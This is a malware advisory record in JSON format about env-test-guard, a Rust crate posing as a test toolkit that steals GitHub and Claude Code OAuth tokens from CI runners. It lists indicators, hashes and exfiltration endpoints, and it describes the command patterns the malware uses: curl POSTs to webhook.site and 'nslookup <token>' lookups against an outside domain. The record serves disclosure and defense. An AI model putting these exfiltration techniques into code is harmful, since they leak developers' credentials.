{"dataType":"CVE_RECORD","dataVersion":"1.0","cveMetadata":{"cveId":"GCVE-110-OSM-2026-14821","assignerOrgId":"","assignerShortName":"Vulnetix","state":"PUBLISHED","datePublished":"2026-11-09T04:51:52Z","dateUpdated":"2026-11-11T00:55:44Z","dateReserved":""},"containers":{"cna":{"providerMetadata":null,"title":"","descriptions":[{"lang":"en","value":"env-test-guard poses as a Rust test toolkit for Git-based projects (temp repos, env guards, fixture builders). Its GitEnv::detect(), which the crate's own README examples call, runs a hidden \"CI preflight\" that steals GitHub tokens and Claude Code OAuth tokens from CI runners: 0.3.0 encrypts and POSTs them to webhook.site, 0.2.0 leaks them in cleartext via DNS lookups under buri.dns.praetorianlabs.com. The DNS domain belongs to security firm Praetorian, so this may be a red-team exercise, but it exfiltrates real credentials. The crate has since been removed from crates.io.\n\n=== PAYLOAD 1: 0.3.0 webhook exfiltration ===\nMalicious payload found in: src/git_env.rs (lines 166-253, fn ci_preflight)\nSHA256 (src/git_env.rs): 49e05003243918712625ad182b0e249af9805f76a0e69f5cbbd31954f57c0f94\nTargeted env vars: GITHUB_TOKEN, GH_TOKEN, INPUT_GITHUB_TOKEN, INPUT_CLAUDE_CODE_OAUTH_TOKEN\nExfil URL: https://webhook.site/fcd2a057-9288-4ac1-9c62-e6f57e6c7403\nBehavior: each token is encrypted with `openssl enc -aes-256-cbc -pbkdf2` under a passphrase embedded in the same file, then POSTed with curl as X-Env-\u003cn\u003e headers. Anyone with the crate can decrypt. Env var names and endpoint are hidden as hex-escaped strings and byte arrays.\n\n=== PAYLOAD 2: 0.2.0 DNS exfiltration ===\nMalicious payload found in: src/git_env.rs (lines 166-196, fn ci_preflight)\nSHA256 (src/git_env.rs): 4f29f8dde3a9860ade47a6a7ab1b2599b39c3d6f9ac1f491c2bb3be3bfa1148a\nTargeted env vars: INPUT_GITHUB_TOKEN, INPUT_CLAUDE_CODE_OAUTH_TOKEN\nExfil domain: buri.dns.praetorianlabs.com\nBehavior: runs `nslookup \u003ctoken\u003e.buri.dns.praetorianlabs.com`, sending each token in cleartext to the domain's authoritative name server.\n\nTrigger: no build.rs; runs at runtime in any test or program calling GitEnv::detect(), in practice on GitHub Actions runners (INPUT_* are action `with:` inputs, e.g. Claude Code Action OAuth token).\nPublished 2026-03-24 (0.2.0) and 2026-03-25 (0.3.0).\n\nProvenance: IOCs and file hashes are from OSV MAL-2026-18776 (finder: Bitbison). The crate was deleted from crates.io before OSM could re-download it (as of 2026-11-11), so the hashes were not independently recomputed.","supportingMedia":null}],"references":[{"url":"https://opensourcemalware.com/threats/93eccb38-d4bf-482b-8f6f-3e0ee58bfeb1","name":"Malicious crates package: env-test-guard","tags":["advisory"]},{"url":"https://osv.dev/vulnerability/MAL-2026-18776","name":"","tags":["advisory"]},{"url":"https://crates.io/env-test-guard","name":"","tags":["vendor"]}],"metrics":[{"format":"CVSS_V3","scenarios":null,"cvssV2_0":null,"cvssV3_0":null,"cvssV3_1":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","baseScore":9.6,"baseSeverity":"CRITICAL"},"cvssV4_0":null,"other":null}],"problemTypes":[{"descriptions":[{"lang":"en","description":"Embedded Malicious Code","cweId":"CWE-506","type":"CWE"}]}],"affected":[{"vendor":"unknown","product":"env-test-guard","collectionURL":"https://crates.io","packageName":"env-test-guard","repo":"","defaultStatus":"affected","versions":[{"version":"0.2.0, 0.3.0","status":"affected","versionType":"","lessThan":"","lessThanOrEqual":"","changes":null}],"cpes":null,"modules":null,"programFiles":null,"platforms":null}],"cpeApplicability":null,"rejectedReasons":null,"replacedBy":null,"x_vulnetix_aliases":{"direct":["MAL-2026-18776"]}},"adp":null}}